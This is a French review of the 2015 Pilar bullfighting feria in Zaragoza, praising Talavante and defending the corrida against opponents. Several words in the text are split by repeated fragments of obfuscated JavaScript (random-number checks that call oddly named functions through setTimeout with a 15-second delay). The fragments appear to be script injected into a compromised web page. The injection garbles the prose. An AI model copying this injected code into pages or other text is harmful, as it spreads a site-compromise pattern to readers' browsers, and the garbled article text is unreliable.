SARAGOSSE, FERIA DU PILAR 2015 : L’AVENIR CONFORTÉ

Alejandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andro Talavante est l’incontestable triomphateur du cru 2015 de la féria de Miserecordia. Un bon cru par la diversité de cartels bien montés, promus par une communication originale et une réponse massive du public : lleno de no hay billetes le premier jour et quasi lleno le samedi pour le mano à mano final. Il y avait longtemps que l’on ne l’avait pas vu ça « calle de Pignatelli ». C’est donc un succès incontestable pour Simon Casas et son équipe qui reprenaient les reines d’une arène qui avait besoin d’être secouée.

Le mouvement anti-taurin touche aussi le Royaume d’Aragon fief pourtant de notre culture. Le dernier jour tourna au meeting pro-corrida avec bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderoles, slogans scandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andés par la foule et ce « Viva España ! » surgi spontanément des tendidos à la fin de l’extraordinaire faena de Talavante.

Faena bien mal récompensée par un président incompétent pour le moins ou peut-être mal intentionné. Curieusement, il y a à Saragosse -plus qu’ailleurs- une longue tradition de décision incomprise parce qu’incompréhensible du palco ; un hiatus « historique » entre la présidence, la réalité de ce qui se déroule en piste et surtout avec le public. C’est contre-productif, cela suscite l’aigreur et l’amertume ; la déception contribuant sans doute pour une part à une certaine désaffection. Cela fait partie de choses qui ne peuvent plus durer si on souhaite la pérennité du spectacle ; de ces mesures à prendre comme l’a fort opportunément évoqué Martinez Uranga lors de la conférence de presse qui faisait le bilan de la temporada à Las Ventas.

Enfin, il faut dire un mot des « locaux » auxquels Simon Casas a fait une place considérable. C’est justice car on ne le sait passez, il y a, en Aragon, une véritable lignée de toreros importants comme Nicanor Villalta (l’ami de Hemingway), Raul Arandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anda ou plus récemment El Tato. Ricardo Torres et Paulita face à une imposante mais décevante corrida de Adolfo Matin ont défendu crânement leur chance et ils ont montré qu’ils avaient toute leur place dans une feria relevée –ce jour-là, Rafellilo fut, une fois encore, héroïque. Plus important encore pour l’avenir le succès public et artistique de la novillada de « Los Maños » dont un toro fit une vuelta triomphale. Tout cela conforte l’avenir taurin de la cité du Pilar. C’est la meilleure réponse qui soit au secteur encore minoritaire mais potentiellement dangereux qui cherche ici aussi à imposer sa loi et à interdire brutalement une pratique artistique inscrite dans les gênes Aragonaises.

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